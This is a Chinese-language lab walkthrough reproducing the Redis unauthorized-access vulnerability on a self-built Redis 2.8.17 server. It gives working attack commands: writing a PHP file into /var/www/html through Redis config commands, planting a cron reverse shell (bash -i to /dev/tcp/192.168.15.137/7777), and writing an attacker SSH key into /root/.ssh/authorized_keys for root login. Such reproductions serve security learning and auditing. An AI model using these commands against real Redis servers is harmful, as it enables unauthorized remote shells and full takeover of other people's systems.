redis未授权访问漏洞复现
- 漏洞简介
Redis未授权
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
环境搭建:
首先在服务器上输入wget http://download.redis.io/releases/redis-2.8.17.tar.gz 得到一个压缩包

- 然后 解压该压缩包 tar xzvf redis-2.8.17.tar.gz
- 进入redis目录 cd redis-2.8.17.tar.gz
- 编译 make
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
输入最后一条命令时页面是这样的就算成功了

开启apache服务

我们再window端下载工具进行测试连接
下载地址为https://github.com/caoxinyu/RedisClient/releases
安装完后点击服务器 选择添加服务器

名称任意 主机为安装redis的服务器ip 端口默认6379 密码默认无 这里我添加了一个名为redis的服务器

右键点击redis服务器选择控制台

写入木马
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save

尝试访问

写入成功
反弹shell 利用条件 redis是以root权限运行
工具下载:https://github.com/dmajkic/redis/downloads
连接redis
.\redis-cli.exe -h 服务器

启动侦听 7777端口

输入命令反弹shell
config set dir /var/spool/cron set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.137/7777 0>&1\n\n\n" config set dbfilename root save

最后查看 反弹成功

查看var/spool/cron下的文件

利用ssh登录
- ssh-keygen -t rsa
- (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
- cat auth_key | redis-cli -h hostname -x set crackit
- redis-cli -h hostname
- config set dir /root/.ssh/
- config set dbfilename "authorized_keys"
- save
- ssh -i id_rsa user@redis_server 登录ssh